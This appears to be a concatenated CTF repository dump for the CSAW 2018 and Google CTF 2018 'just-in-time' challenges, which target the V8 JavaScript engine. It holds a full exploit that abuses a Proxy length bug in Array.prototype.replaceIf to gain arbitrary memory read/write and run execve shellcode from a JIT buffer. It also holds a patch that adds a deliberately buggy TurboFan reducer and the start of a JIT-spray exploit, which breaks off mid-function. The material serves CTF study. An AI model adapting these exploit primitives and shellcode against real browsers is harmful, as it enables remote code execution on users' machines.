| return res.join(''); 30 | } 31 | 32 | // Return the binary data represented by the given hexdecimal string. 33 | function unhexlify(hexstr) { 34 | if (hexstr.length % 2 == 1) 35 | throw new TypeError("Invalid hex string"); 36 | 37 | var bytes = new Uint8Array(hexstr.length / 2); 38 | for (var i = 0; i < hexstr.length; i += 2) 39 | bytes[i/2] = parseInt(hexstr.substr(i, 2), 16); 40 | 41 | return bytes; 42 | } 43 | 44 | function hexdump(data) { 45 | if (typeof data.BYTES_PER_ELEMENT !== 'undefined') 46 | data = Array.from(data); 47 | 48 | var lines = []; 49 | for (var i = 0; i < data.length; i += 16) { 50 | var chunk = data.slice(i, i+16); 51 | var parts = chunk.map(hex); 52 | if (parts.length > 8) 53 | parts.splice(8, 0, ' '); 54 | lines.push(parts.join(' ')); 55 | } 56 | 57 | return lines.join('\n'); 58 | } 59 | 60 | // Simplified version of the similarly named python module. 61 | var Struct = (function() { 62 | // Allocate these once to avoid unecessary heap allocations during pack/unpack operations. 63 | var buffer = new ArrayBuffer(8); 64 | var byteView = new Uint8Array(buffer); 65 | var uint32View = new Uint32Array(buffer); 66 | var float64View = new Float64Array(buffer); 67 | 68 | return { 69 | pack: function(type, value) { 70 | var view = type; // See below 71 | view[0] = value; 72 | return new Uint8Array(buffer, 0, type.BYTES_PER_ELEMENT); 73 | }, 74 | 75 | unpack: function(type, bytes) { 76 | if (bytes.length !== type.BYTES_PER_ELEMENT) 77 | throw Error("Invalid bytearray"); 78 | 79 | var view = type; // See below 80 | byteView.set(bytes); 81 | return view[0]; 82 | }, 83 | 84 | // Available types. 85 | int8: byteView, 86 | int32: uint32View, 87 | float64: float64View 88 | }; 89 | })(); 90 | 91 | function Int64(v) { 92 | // The underlying byte array. 93 | var bytes = new Uint8Array(8); 94 | 95 | switch (typeof v) { 96 | case 'number': 97 | v = '0x' + Math.floor(v).toString(16); 98 | case 'string': 99 | if (v.startsWith('0x')) 100 | v = v.substr(2); 101 | if (v.length % 2 == 1) 102 | v = '0' + v; 103 | 104 | var bigEndian = unhexlify(v, 8); 105 | bytes.set(Array.from(bigEndian).reverse()); 106 | break; 107 | case 'object': 108 | if (v instanceof Int64) { 109 | bytes.set(v.bytes()); 110 | } else { 111 | if (v.length != 8) 112 | throw TypeError("Array must have excactly 8 elements."); 113 | bytes.set(v); 114 | } 115 | break; 116 | case 'undefined': 117 | break; 118 | default: 119 | throw TypeError("Int64 constructor requires an argument."); 120 | } 121 | 122 | // Return a double whith the same underlying bit representation. 123 | this.asDouble = function() { 124 | // Check for NaN 125 | if (bytes[7] == 0xff && (bytes[6] == 0xff || bytes[6] == 0xfe)) 126 | throw new RangeError("Integer can not be represented by a double"); 127 | 128 | return Struct.unpack(Struct.float64, bytes); 129 | }; 130 | 131 | // Return a javascript value with the same underlying bit representation. 132 | // This is only possible for integers in the range [0x0001000000000000, 0xffff000000000000) 133 | // due to double conversion constraints. 134 | this.asJSValue = function() { 135 | if ((bytes[7] == 0 && bytes[6] == 0) || (bytes[7] == 0xff && bytes[6] == 0xff)) 136 | throw new RangeError("Integer can not be represented by a JSValue"); 137 | 138 | // For NaN-boxing, JSC adds 2^48 to a double value's bit pattern. 139 | this.assignSub(this, 0x1000000000000); 140 | var res = Struct.unpack(Struct.float64, bytes); 141 | this.assignAdd(this, 0x1000000000000); 142 | 143 | return res; 144 | }; 145 | 146 | this.lower = function() { 147 | return bytes[0] + 256 * bytes[1] + 256*256*bytes[2] + 256*256*256*bytes[3]; 148 | }; 149 | 150 | this.upper = function() { 151 | return bytes[4] + 256 * bytes[5] + 256*256*bytes[6] + 256*256*256*bytes[7]; 152 | }; 153 | 154 | // Return the underlying bytes of this number as array. 155 | this.bytes = function() { 156 | return Array.from(bytes); 157 | }; 158 | 159 | // Return the byte at the given index. 160 | this.byteAt = function(i) { 161 | return bytes[i]; 162 | }; 163 | 164 | // Return the value of this number as unsigned hex string. 165 | this.toString = function() { 166 | return '0x' + hexlify(Array.from(bytes).reverse()); 167 | }; 168 | 169 | // Basic arithmetic. 170 | // These functions assign the result of the computation to their 'this' object. 171 | 172 | // Decorator for Int64 instance operations. Takes care 173 | // of converting arguments to Int64 instances if required. 174 | function operation(f, nargs) { 175 | return function() { 176 | if (arguments.length != nargs) 177 | throw Error("Not enough arguments for function " + f.name); 178 | for (var i = 0; i < arguments.length; i++) 179 | if (!(arguments[i] instanceof Int64)) 180 | arguments[i] = new Int64(arguments[i]); 181 | return f.apply(this, arguments); 182 | }; 183 | } 184 | 185 | // this = -n (two's complement) 186 | this.assignNeg = operation(function neg(n) { 187 | for (var i = 0; i < 8; i++) 188 | bytes[i] = ~n.byteAt(i); 189 | 190 | return this.assignAdd(this, Int64.One); 191 | }, 1); 192 | 193 | // this = a + b 194 | this.assignAdd = operation(function add(a, b) { 195 | var carry = 0; 196 | for (var i = 0; i < 8; i++) { 197 | var cur = a.byteAt(i) + b.byteAt(i) + carry; 198 | carry = cur > 0xff | 0; 199 | bytes[i] = cur; 200 | } 201 | return this; 202 | }, 2); 203 | 204 | // this = a - b 205 | this.assignSub = operation(function sub(a, b) { 206 | var carry = 0; 207 | for (var i = 0; i < 8; i++) { 208 | var cur = a.byteAt(i) - b.byteAt(i) - carry; 209 | carry = cur < 0 | 0; 210 | bytes[i] = cur; 211 | } 212 | return this; 213 | }, 2); 214 | } 215 | 216 | // Constructs a new Int64 instance with the same bit representation as the provided double. 217 | Int64.fromDouble = function(d) { 218 | var bytes = Struct.pack(Struct.float64, d); 219 | return new Int64(bytes); 220 | }; 221 | 222 | // Convenience functions. These allocate a new Int64 to hold the result. 223 | 224 | // Return -n (two's complement) 225 | function Neg(n) { 226 | return (new Int64()).assignNeg(n); 227 | } 228 | 229 | // Return a + b 230 | function Add(a, b) { 231 | return (new Int64()).assignAdd(a, b); 232 | } 233 | 234 | // Return a - b 235 | function Sub(a, b) { 236 | return (new Int64()).assignSub(a, b); 237 | } 238 | 239 | // Some commonly used numbers. 240 | Int64.Zero = new Int64(0); 241 | Int64.One = new Int64(1); 242 | 243 | // exploit for csaw 2018 challenge 244 | // v8::internal::FixedArray::set 245 | // b v8::internal::Builtin_Impl_ArrayReplaceIf(int, v8::internal::Object**, v8::internal::Isolate*) 246 | 247 | // set up our proxy object to fake its length 248 | var handler = { 249 | get: function(obj, prop) { 250 | if (prop == 'length') 251 | return 0x1000; 252 | else 253 | return obj[prop]; 254 | } 255 | }; 256 | 257 | 258 | // utilize the replaceIf function. this has a bug 259 | // where it holds an internal reference to the array 260 | // object if we use a proxy, and then only rechecks 261 | // the length on the proxy, not the array_object itself 262 | 263 | // readline(); 264 | 265 | var saved_arrays = [] 266 | var saved_buffers = [] 267 | 268 | var guessed_idx = 0; 269 | while (guessed_idx < 60) { 270 | var arr = new Array(0x8); 271 | for(var y = 0; y < arr.length; y++) { 272 | arr[y] = 0x69; 273 | } 274 | saved_arrays.push(arr); 275 | var buffer = new ArrayBuffer(0x33); 276 | console.log(guessed_idx + " (before) : " + buffer.byteLength); 277 | /*for(var y = 0; y < buffer.length; y++) { 278 | buffer[y] = 0x41; 279 | }*/ 280 | buffer[0] = guessed_idx; 281 | saved_buffers.push(buffer); 282 | 283 | // write a size pointer 284 | new Proxy(arr, handler).replaceIf(guessed_idx, function(elem) { 285 | //// %DebugPrint(elem); 286 | if (elem == 0x33) { 287 | return true; 288 | } 289 | // %DebugPrint(elem); 290 | /*if (typeof elem != 'number') { 291 | console.log(typeof elem); 292 | //try { console.log(elem); } catch (err) {}; 293 | //try { console.log(Object.keys(elem)); } catch (err) {}; 294 | } 295 | 296 | arr.length = 1;*/ 297 | return guessed_idx > 90; 298 | }, 0x13370000); 299 | console.log(guessed_idx + " (after) : " + buffer.byteLength); 300 | if (buffer.byteLength != 0x33) { 301 | // we hit the actual length field 302 | break; 303 | } 304 | guessed_idx += 1 305 | } 306 | 307 | console.log("landed with guessed_idx " + guessed_idx); 308 | 309 | // store an ArrayBuffer as the backing store of our corrupted arraybuffer 310 | var victim = new ArrayBuffer(0x1337); 311 | new Proxy(arr, handler).replaceIf(guessed_idx+1, function(elem) { 312 | return 1; 313 | }, victim); 314 | 315 | // this is an typedarray whose backing is the victim arraybuffer 316 | var arrbuf_view = new Uint8Array(buffer); 317 | 318 | // set up our arb r/w functions 319 | function r64(addr) { 320 | // set the backing ptr of the victim array, but allow 321 | // the caller to not change the current address 322 | var b = addr.bytes(); 323 | for(x = 0; x < 8; x++) { 324 | arrbuf_view[0x1f + x] = b[x]; 325 | } 326 | 327 | 328 | // our view over the victim 329 | var victim_view = new Uint8Array(victim); 330 | var mybytes = []; 331 | for (x = 0; x < 8; x++) { 332 | mybytes.push(victim_view[x]); 333 | } 334 | 335 | // read from victim array 336 | return new Int64(mybytes); 337 | } 338 | 339 | function w64(addr, data) { 340 | // set the backing ptr of the victim array 341 | var b = addr.bytes(); 342 | for(x = 0; x < 8; x++) { 343 | arrbuf_view[0x1f + x] = b[x]; 344 | } 345 | 346 | // our view over the victim 347 | var victim_view = new Uint8Array(victim); 348 | // write over it 349 | b = data.bytes(); 350 | for(x = 0; x < 8; x++) { 351 | victim_view[x] = b[x]; 352 | } 353 | } 354 | 355 | function writen(addr, data) { 356 | // set the backing ptr of the victim array 357 | var b = addr.bytes(); 358 | for(x = 0; x < 8; x++) { 359 | arrbuf_view[0x1f + x] = b[x]; 360 | } 361 | 362 | // our view over the victim 363 | var victim_view = new Uint8Array(victim); 364 | // write over it 365 | for(x = 0; x < data.length; x++) { 366 | victim_view[x] = data[x]; 367 | } 368 | } 369 | 370 | // create function that will be jitted 371 | function blah(a, b) { 372 | return a + b; 373 | } 374 | 375 | var y = 0; 376 | for(x = 0; x < 0x1000; x++) { 377 | y += blah(x, x+1); 378 | } 379 | 380 | // set a function as a property of the victim object 381 | victim[0] = blah; 382 | 383 | // read the value of the victim's elem ptr 384 | var mybytes = []; 385 | for(x = 0x0f; x < 0x17; x++) { 386 | mybytes.push(arrbuf_view[x]); 387 | } 388 | var elem_ptr = new Int64(mybytes); 389 | console.log(elem_ptr); 390 | 391 | // add 0xF to get base of our function object 392 | var func_ptr = r64(Add(elem_ptr, new Int64(0xF))); 393 | console.log(func_ptr); 394 | 395 | // grab the jit buffer pointer off the function 396 | var jitbuf_ptr_ptr = Add(func_ptr, new Int64(0x2F)); 397 | var jitbuf = r64(jitbuf_ptr_ptr); 398 | console.log(jitbuf_ptr_ptr); 399 | 400 | // offset somewhere later in the jitbuffer 401 | jitbuf = Add(jitbuf, new Int64(0x60000)); 402 | 403 | // shellcode for execve("/bin/id", NULL, NULL); 404 | // 48b801010101010101015048b82e63686f2e686501483104244889e731d231f66a3b580f05 405 | var sc = [0x68, 0x2e, 0x68, 0x65, 0x1, 0x81, 0x34, 0x24, 0x1, 0x1, 0x1, 0x1, 0x48, 0xb8, 0x2f, 0x75, 0x73, 0x72, 0x2f, 0x62, 0x69, 0x6e, 0x50, 0x48, 0x89, 0xe7, 0x31, 0xd2, 0x31, 0xf6, 0x6a, 0x3b, 0x58, 0xf, 0x5]; 406 | 407 | // write to jitbuffer 408 | writen(jitbuf, sc); 409 | console.log(jitbuf); 410 | 411 | // overwrite functions jitbuf ptr 412 | w64(jitbuf_ptr_ptr, Sub(jitbuf, new Int64(0x3F))); 413 | // readline() 414 | 415 | // call function 416 | victim[0](0x13, 37); 417 | 418 | console.log("victim"); 419 | // %DebugPrint(victim); 420 | 421 | // %DebugPrint(buffer); 422 | 423 | // readline(); 424 | throw "blah"; -------------------------------------------------------------------------------- /csaw-2018/spec.md: -------------------------------------------------------------------------------- 1 | # ECMAScript® 1337 Language Specification Extensions 2 | 3 | ### 22.1.3.58 Array.prototype.replaceIf(index, callbackfn, replacement) 4 | 5 | > Note 1: _callbackfn_ should be a function that accepts one argument. *replaceIf* calls 6 | _callbackfn_ with the array element at index _index_. **"length"** bounds are checked 7 | after _callbackfn_ is called to account for state changes during the callback. 8 | 9 | 10 | When the **replaceIf** method is called, the following steps are taken: 11 | 12 | 1. Let _O_ be ? ToObject(**this** value). 13 | 2. Let _len_ be ? ToLength(? Get(_O_, **"length"**)). 14 | 3. Let _n_ ? ToInteger(_index_). 15 | 4. If _len_ < _n_, return **false**. 16 | 5. If IsCallable(_callbackfn_) is **false**, return **false**. 17 | 6. Let _e_ be ? Get(_O_,_n_). 18 | 7. Let _shouldReplace_ be ToBoolean(? Call(_callbackfn_,_e_)). 19 | 8. If _shouldReplace_ is *false*, return *false*. 20 | 9. Let _len_ be ? ToLength(? Get(_O_, **"length"**)). 21 | 10. If _len_ < _n_, return **false**. 22 | 11. Perform Set(_O_, _n_, _replacement_). 23 | 12. Return **true**. 24 | 25 | -------------------------------------------------------------------------------- /just-in-time/README: -------------------------------------------------------------------------------- 1 | This challenge will be scored at 5:30PM on Sunday in a live event. 2 | 3 | Rules: 4 | * To submit an exploit for this challenge, put a single html file on a USB thumb 5 | drive we provide to you and bring it to the organizer table. 6 | * The exploit submission deadline is Sunday 5pm. 7 | * You can try out your exploit in an event on Sunday at 5pm on a laptop running 8 | the attached virtualbox image. 9 | * We will run your exploit using python3 -m http.server. The VM will have no 10 | access to the internet. 11 | * You have 3 minutes to make it work, however during this time you will only be 12 | allowed to reload the exploit/restart the Browser. 13 | * An attempt counts as successful if you can run /usr/bin/gnome-calculator. It 14 | has to be visible on the screen. 15 | * The order of teams is decided based on the submission time during the event. 16 | * If you send us multiple exploits, only the last submission counts. 17 | 18 | You can download the virtualbox image here: 19 | https://storage.googleapis.com/gctf-2018-attachments/68ab4db4a177ae835361d8b3d9522f672ac6386e4a348acdf8db64f2bf360d0d 20 | We will use the snapshot "Challenge" to try out your exploit. 21 | -------------------------------------------------------------------------------- /just-in-time/addition-reducer.patch: -------------------------------------------------------------------------------- 1 | diff --git a/BUILD.gn b/BUILD.gn 2 | index c6a58776cd..14c56d2910 100644 3 | --- a/BUILD.gn 4 | +++ b/BUILD.gn 5 | @@ -1699,6 +1699,8 @@ v8_source_set("v8_base") { 6 | "src/compiler/dead-code-elimination.cc", 7 | "src/compiler/dead-code-elimination.h", 8 | "src/compiler/diamond.h", 9 | + "src/compiler/duplicate-addition-reducer.cc", 10 | + "src/compiler/duplicate-addition-reducer.h", 11 | "src/compiler/effect-control-linearizer.cc", 12 | "src/compiler/effect-control-linearizer.h", 13 | "src/compiler/escape-analysis-reducer.cc", 14 | diff --git a/src/compiler/duplicate-addition-reducer.cc b/src/compiler/duplicate-addition-reducer.cc 15 | new file mode 100644 16 | index 0000000000..59e8437f3d 17 | --- /dev/null 18 | +++ b/src/compiler/duplicate-addition-reducer.cc 19 | @@ -0,0 +1,71 @@ 20 | +// Copyright 2018 Google LLC 21 | +// 22 | +// Licensed under the Apache License, Version 2.0 (the "License"); 23 | +// you may not use this file except in compliance with the License. 24 | +// You may obtain a copy of the License at 25 | +// 26 | +// http://www.apache.org/licenses/LICENSE-2.0 27 | +// 28 | +// Unless required by applicable law or agreed to in writing, software 29 | +// distributed under the License is distributed on an "AS IS" BASIS, 30 | +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 31 | +// See the License for the specific language governing permissions and 32 | +// limitations under the License. 33 | +#include "src/compiler/duplicate-addition-reducer.h" 34 | + 35 | +#include "src/compiler/common-operator.h" 36 | +#include "src/compiler/graph.h" 37 | +#include "src/compiler/node-properties.h" 38 | + 39 | +namespace v8 { 40 | +namespace internal { 41 | +namespace compiler { 42 | + 43 | +DuplicateAdditionReducer::DuplicateAdditionReducer(Editor* editor, Graph* graph, 44 | + CommonOperatorBuilder* common) 45 | + : AdvancedReducer(editor), 46 | + graph_(graph), common_(common) {} 47 | + 48 | +Reduction DuplicateAdditionReducer::Reduce(Node* node) { 49 | + switch (node->opcode()) { 50 | + case IrOpcode::kNumberAdd: 51 | + return ReduceAddition(node); 52 | + default: 53 | + return NoChange(); 54 | + } 55 | +} 56 | + 57 | +Reduction DuplicateAdditionReducer::ReduceAddition(Node* node) { 58 | + DCHECK_EQ(node->op()->ControlInputCount(), 0); 59 | + DCHECK_EQ(node->op()->EffectInputCount(), 0); 60 | + DCHECK_EQ(node->op()->ValueInputCount(), 2); 61 | + 62 | + Node* left = NodeProperties::GetValueInput(node, 0); 63 | + if (left->opcode() != node->opcode()) { 64 | + return NoChange(); 65 | + } 66 | + 67 | + Node* right = NodeProperties::GetValueInput(node, 1); 68 | + if (right->opcode() != IrOpcode::kNumberConstant) { 69 | + return NoChange(); 70 | + } 71 | + 72 | + Node* parent_left = NodeProperties::GetValueInput(left, 0); 73 | + Node* parent_right = NodeProperties::GetValueInput(left, 1); 74 | + if (parent_right->opcode() != IrOpcode::kNumberConstant) { 75 | + return NoChange(); 76 | + } 77 | + 78 | + double const1 = OpParameter(right->op()); 79 | + double const2 = OpParameter(parent_right->op()); 80 | + Node* new_const = graph()->NewNode(common()->NumberConstant(const1+const2)); 81 | + 82 | + NodeProperties::ReplaceValueInput(node, parent_left, 0); 83 | + NodeProperties::ReplaceValueInput(node, new_const, 1); 84 | + 85 | + return Changed(node); 86 | +} 87 | + 88 | +} // namespace compiler 89 | +} // namespace internal 90 | +} // namespace v8 91 | diff --git a/src/compiler/duplicate-addition-reducer.h b/src/compiler/duplicate-addition-reducer.h 92 | new file mode 100644 93 | index 0000000000..7285f1ae3e 94 | --- /dev/null 95 | +++ b/src/compiler/duplicate-addition-reducer.h 96 | @@ -0,0 +1,60 @@ 97 | +/* 98 | + * Copyright 2018 Google LLC 99 | + * 100 | + * Licensed under the Apache License, Version 2.0 (the "License"); 101 | + * you may not use this file except in compliance with the License. 102 | + * You may obtain a copy of the License at 103 | + * 104 | + * http://www.apache.org/licenses/LICENSE-2.0 105 | + * 106 | + * Unless required by applicable law or agreed to in writing, software 107 | + * distributed under the License is distributed on an "AS IS" BASIS, 108 | + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 109 | + * See the License for the specific language governing permissions and 110 | + * limitations under the License. 111 | + */ 112 | + 113 | +#ifndef V8_COMPILER_DUPLICATE_ADDITION_REDUCER_H_ 114 | +#define V8_COMPILER_DUPLICATE_ADDITION_REDUCER_H_ 115 | + 116 | +#include "src/base/compiler-specific.h" 117 | +#include "src/compiler/graph-reducer.h" 118 | +#include "src/globals.h" 119 | +#include "src/machine-type.h" 120 | + 121 | +namespace v8 { 122 | +namespace internal { 123 | +namespace compiler { 124 | + 125 | +// Forward declarations. 126 | +class CommonOperatorBuilder; 127 | +class Graph; 128 | + 129 | +class V8_EXPORT_PRIVATE DuplicateAdditionReducer final 130 | + : public NON_EXPORTED_BASE(AdvancedReducer) { 131 | + public: 132 | + DuplicateAdditionReducer(Editor* editor, Graph* graph, 133 | + CommonOperatorBuilder* common); 134 | + ~DuplicateAdditionReducer() final {} 135 | + 136 | + const char* reducer_name() const override { return "DuplicateAdditionReducer"; } 137 | + 138 | + Reduction Reduce(Node* node) final; 139 | + 140 | + private: 141 | + Reduction ReduceAddition(Node* node); 142 | + 143 | + Graph* graph() const { return graph_;} 144 | + CommonOperatorBuilder* common() const { return common_; }; 145 | + 146 | + Graph* const graph_; 147 | + CommonOperatorBuilder* const common_; 148 | + 149 | + DISALLOW_COPY_AND_ASSIGN(DuplicateAdditionReducer); 150 | +}; 151 | + 152 | +} // namespace compiler 153 | +} // namespace internal 154 | +} // namespace v8 155 | + 156 | +#endif // V8_COMPILER_DUPLICATE_ADDITION_REDUCER_H_ 157 | diff --git a/src/compiler/pipeline.cc b/src/compiler/pipeline.cc 158 | index 5717c70348..8cca161ad5 100644 159 | --- a/src/compiler/pipeline.cc 160 | +++ b/src/compiler/pipeline.cc 161 | @@ -27,6 +27,7 @@ 162 | #include "src/compiler/constant-folding-reducer.h" 163 | #include "src/compiler/control-flow-optimizer.h" 164 | #include "src/compiler/dead-code-elimination.h" 165 | +#include "src/compiler/duplicate-addition-reducer.h" 166 | #include "src/compiler/effect-control-linearizer.h" 167 | #include "src/compiler/escape-analysis-reducer.h" 168 | #include "src/compiler/escape-analysis.h" 169 | @@ -1301,6 +1302,8 @@ struct TypedLoweringPhase { 170 | data->jsgraph()->Dead()); 171 | DeadCodeElimination dead_code_elimination(&graph_reducer, data->graph(), 172 | data->common(), temp_zone); 173 | + DuplicateAdditionReducer duplicate_addition_reducer(&graph_reducer, data->graph(), 174 | + data->common()); 175 | JSCreateLowering create_lowering(&graph_reducer, data->dependencies(), 176 | data->jsgraph(), data->js_heap_broker(), 177 | data->native_context(), temp_zone); 178 | @@ -1318,6 +1321,7 @@ struct TypedLoweringPhase { 179 | data->js_heap_broker(), data->common(), 180 | data->machine(), temp_zone); 181 | AddReducer(data, &graph_reducer, &dead_code_elimination); 182 | + AddReducer(data, &graph_reducer, &duplicate_addition_reducer); 183 | AddReducer(data, &graph_reducer, &create_lowering); 184 | AddReducer(data, &graph_reducer, &constant_folding_reducer); 185 | AddReducer(data, &graph_reducer, &typed_optimization); 186 | -------------------------------------------------------------------------------- /just-in-time/pwn.js: -------------------------------------------------------------------------------- 1 | // 2 | // Tiny module that provides big (64bit) integers. 3 | // 4 | // Copyright (c) 2016 Samuel Groß 5 | // 6 | // Requires utils.js 7 | // 8 | 9 | // Datatype to represent 64-bit integers. 10 | // 11 | // Internally, the integer is stored as a Uint8Array in little endian byte order. 12 | // 13 | // Utility functions. 14 | // 15 | // Copyright (c) 2016 Samuel Groß 16 | // 17 | 18 | // Return the hexadecimal representation of the given byte. 19 | function hex(b) { 20 | return ('0' + b.toString(16)).substr(-2); 21 | } 22 | 23 | // Return the hexadecimal representation of the given byte array. 24 | function hexlify(bytes) { 25 | var res = []; 26 | for (var i = 0; i < bytes.length; i++) 27 | res.push(hex(bytes[i])); 28 | 29 | return res.join(''); 30 | } 31 | 32 | // Return the binary data represented by the given hexdecimal string. 33 | function unhexlify(hexstr) { 34 | if (hexstr.length % 2 == 1) 35 | throw new TypeError("Invalid hex string"); 36 | 37 | var bytes = new Uint8Array(hexstr.length / 2); 38 | for (var i = 0; i < hexstr.length; i += 2) 39 | bytes[i/2] = parseInt(hexstr.substr(i, 2), 16); 40 | 41 | return bytes; 42 | } 43 | 44 | function hexdump(data) { 45 | if (typeof data.BYTES_PER_ELEMENT !== 'undefined') 46 | data = Array.from(data); 47 | 48 | var lines = []; 49 | for (var i = 0; i < data.length; i += 16) { 50 | var chunk = data.slice(i, i+16); 51 | var parts = chunk.map(hex); 52 | if (parts.length > 8) 53 | parts.splice(8, 0, ' '); 54 | lines.push(parts.join(' ')); 55 | } 56 | 57 | return lines.join('\n'); 58 | } 59 | 60 | // Simplified version of the similarly named python module. 61 | var Struct = (function() { 62 | // Allocate these once to avoid unecessary heap allocations during pack/unpack operations. 63 | var buffer = new ArrayBuffer(8); 64 | var byteView = new Uint8Array(buffer); 65 | var uint32View = new Uint32Array(buffer); 66 | var float64View = new Float64Array(buffer); 67 | 68 | return { 69 | pack: function(type, value) { 70 | var view = type; // See below 71 | view[0] = value; 72 | return new Uint8Array(buffer, 0, type.BYTES_PER_ELEMENT); 73 | }, 74 | 75 | unpack: function(type, bytes) { 76 | if (bytes.length !== type.BYTES_PER_ELEMENT) 77 | throw Error("Invalid bytearray"); 78 | 79 | var view = type; // See below 80 | byteView.set(bytes); 81 | return view[0]; 82 | }, 83 | 84 | // Available types. 85 | int8: byteView, 86 | int32: uint32View, 87 | float64: float64View 88 | }; 89 | })(); 90 | 91 | function Int64(v) { 92 | // The underlying byte array. 93 | var bytes = new Uint8Array(8); 94 | 95 | switch (typeof v) { 96 | case 'number': 97 | v = '0x' + Math.floor(v).toString(16); 98 | case 'string': 99 | if (v.startsWith('0x')) 100 | v = v.substr(2); 101 | if (v.length % 2 == 1) 102 | v = '0' + v; 103 | 104 | var bigEndian = unhexlify(v, 8); 105 | bytes.set(Array.from(bigEndian).reverse()); 106 | break; 107 | case 'object': 108 | if (v instanceof Int64) { 109 | bytes.set(v.bytes()); 110 | } else { 111 | if (v.length != 8) 112 | throw TypeError("Array must have excactly 8 elements."); 113 | bytes.set(v); 114 | } 115 | break; 116 | case 'undefined': 117 | break; 118 | default: 119 | throw TypeError("Int64 constructor requires an argument."); 120 | } 121 | 122 | // Return a double whith the same underlying bit representation. 123 | this.asDouble = function() { 124 | // Check for NaN 125 | if (bytes[7] == 0xff && (bytes[6] == 0xff || bytes[6] == 0xfe)) 126 | throw new RangeError("Integer can not be represented by a double"); 127 | 128 | return Struct.unpack(Struct.float64, bytes); 129 | }; 130 | 131 | // Return a javascript value with the same underlying bit representation. 132 | // This is only possible for integers in the range [0x0001000000000000, 0xffff000000000000) 133 | // due to double conversion constraints. 134 | this.asJSValue = function() { 135 | if ((bytes[7] == 0 && bytes[6] == 0) || (bytes[7] == 0xff && bytes[6] == 0xff)) 136 | throw new RangeError("Integer can not be represented by a JSValue"); 137 | 138 | // For NaN-boxing, JSC adds 2^48 to a double value's bit pattern. 139 | this.assignSub(this, 0x1000000000000); 140 | var res = Struct.unpack(Struct.float64, bytes); 141 | this.assignAdd(this, 0x1000000000000); 142 | 143 | return res; 144 | }; 145 | 146 | this.lower = function() { 147 | return bytes[0] + 256 * bytes[1] + 256*256*bytes[2] + 256*256*256*bytes[3]; 148 | }; 149 | 150 | this.upper = function() { 151 | return bytes[4] + 256 * bytes[5] + 256*256*bytes[6] + 256*256*256*bytes[7]; 152 | }; 153 | 154 | // Return the underlying bytes of this number as array. 155 | this.bytes = function() { 156 | return Array.from(bytes); 157 | }; 158 | 159 | // Return the byte at the given index. 160 | this.byteAt = function(i) { 161 | return bytes[i]; 162 | }; 163 | 164 | // Return the value of this number as unsigned hex string. 165 | this.toString = function() { 166 | return '0x' + hexlify(Array.from(bytes).reverse()); 167 | }; 168 | 169 | // Basic arithmetic. 170 | // These functions assign the result of the computation to their 'this' object. 171 | 172 | // Decorator for Int64 instance operations. Takes care 173 | // of converting arguments to Int64 instances if required. 174 | function operation(f, nargs) { 175 | return function() { 176 | if (arguments.length != nargs) 177 | throw Error("Not enough arguments for function " + f.name); 178 | for (var i = 0; i < arguments.length; i++) 179 | if (!(arguments[i] instanceof Int64)) 180 | arguments[i] = new Int64(arguments[i]); 181 | return f.apply(this, arguments); 182 | }; 183 | } 184 | 185 | // this = -n (two's complement) 186 | this.assignNeg = operation(function neg(n) { 187 | for (var i = 0; i < 8; i++) 188 | bytes[i] = ~n.byteAt(i); 189 | 190 | return this.assignAdd(this, Int64.One); 191 | }, 1); 192 | 193 | // this = a + b 194 | this.assignAdd = operation(function add(a, b) { 195 | var carry = 0; 196 | for (var i = 0; i < 8; i++) { 197 | var cur = a.byteAt(i) + b.byteAt(i) + carry; 198 | carry = cur > 0xff | 0; 199 | bytes[i] = cur; 200 | } 201 | return this; 202 | }, 2); 203 | 204 | // this = a - b 205 | this.assignSub = operation(function sub(a, b) { 206 | var carry = 0; 207 | for (var i = 0; i < 8; i++) { 208 | var cur = a.byteAt(i) - b.byteAt(i) - carry; 209 | carry = cur < 0 | 0; 210 | bytes[i] = cur; 211 | } 212 | return this; 213 | }, 2); 214 | } 215 | 216 | // Constructs a new Int64 instance with the same bit representation as the provided double. 217 | Int64.fromDouble = function(d) { 218 | var bytes = Struct.pack(Struct.float64, d); 219 | return new Int64(bytes); 220 | }; 221 | 222 | // Convenience functions. These allocate a new Int64 to hold the result. 223 | 224 | // Return -n (two's complement) 225 | function Neg(n) { 226 | return (new Int64()).assignNeg(n); 227 | } 228 | 229 | // Return a + b 230 | function Add(a, b) { 231 | return (new Int64()).assignAdd(a, b); 232 | } 233 | 234 | // Return a - b 235 | function Sub(a, b) { 236 | return (new Int64()).assignSub(a, b); 237 | } 238 | 239 | // Some commonly used numbers. 240 | Int64.Zero = new Int64(0); 241 | Int64.One = new Int64(1); 242 | 243 | // modified from https://github.com/LiveOverflow/lo_nintendoswitch/blob/master/opc1.html#L36 244 | function gc() { 245 | var x = new Array(0x800); 246 | for(y = 0; y < x.length; y++) { 247 | x[y] = new Uint32Array(0x10000); 248 | } 249 | for(y = 0; y < x.length; y++) { 250 | x[y] = 0; 251 | } 252 | } 253 | 254 | // exploit for just-in-time, googlectf 2018 finals 255 | // it is an introduced jit bug in a turbofan graph reducer 256 | 257 | // the challenge adds an addition reducer that is meant to 258 | // convert expressions of the form (1 + 2) + [x] to 3 + [x] 259 | // it feels like there must be some sort of side effects overlooked on the (1 + 2) 260 | 261 | // ideas: either a problem with changing around what the left node is a value input to, 262 | // or a problem with double overflow/underflow 263 | 264 | // -0 = 0x0000726ea5bae678 265 | 266 | // victim function to be jitted 267 | function sc_func(x, y) { 268 | 269 | // JIT spray - this example is a nop sled ending in int3 270 | // Point is to prove that we are generating code of the form 271 | // 01: xor eax, 0x01eb9090 272 | // 06: xor eax, 0x01eb9090 273 | // 0b: xor eax, 0x01eb9090 274 | // ... etc ... 275 | var mynum = x ^ 276 | 0x23840952 ^ 277 | 0x01eb9090 ^ 278 | 0x01eb9090 ^ 279 | 0x01eb9090 ^ 280 | 0x01eb9090 ^ 281 | 0x01eb9090 ^ 282 | 0x01eb9090 ^ 283 | 0x01eb9090 ^ 284 | 0x01eb9090 ^ 285 | 0x01eb9090 ^ 286 | 0x01eb9090 ^ 287 | 0x01eb9090 ^ 288 | 0x01eb9090 ^ 289 | 0x01eb9090 ^ 290 | 0x01eb9090 ^ 291 | 0x01eb9090 ^ 292 | 0xcccccccc ^ 293 | 0x23840952 ^ 294 | 0x23840952; 295 | 296 | return mynum + y; 297 | } 298 | 299 | for(x = 0; x < 0x2000; x++) sc_func(1, 2); 300 | 301 | function spooky2(a) { 302 | let x = -Infinity; 303 | if (a) { 304 | x = Number.MIN_VALUE; 305 | } 306 | let myvar = x + (Number.MAX_VALUE); 307 | let ret = (myvar + (Number.MAX_VALUE)); 308 | return ret; 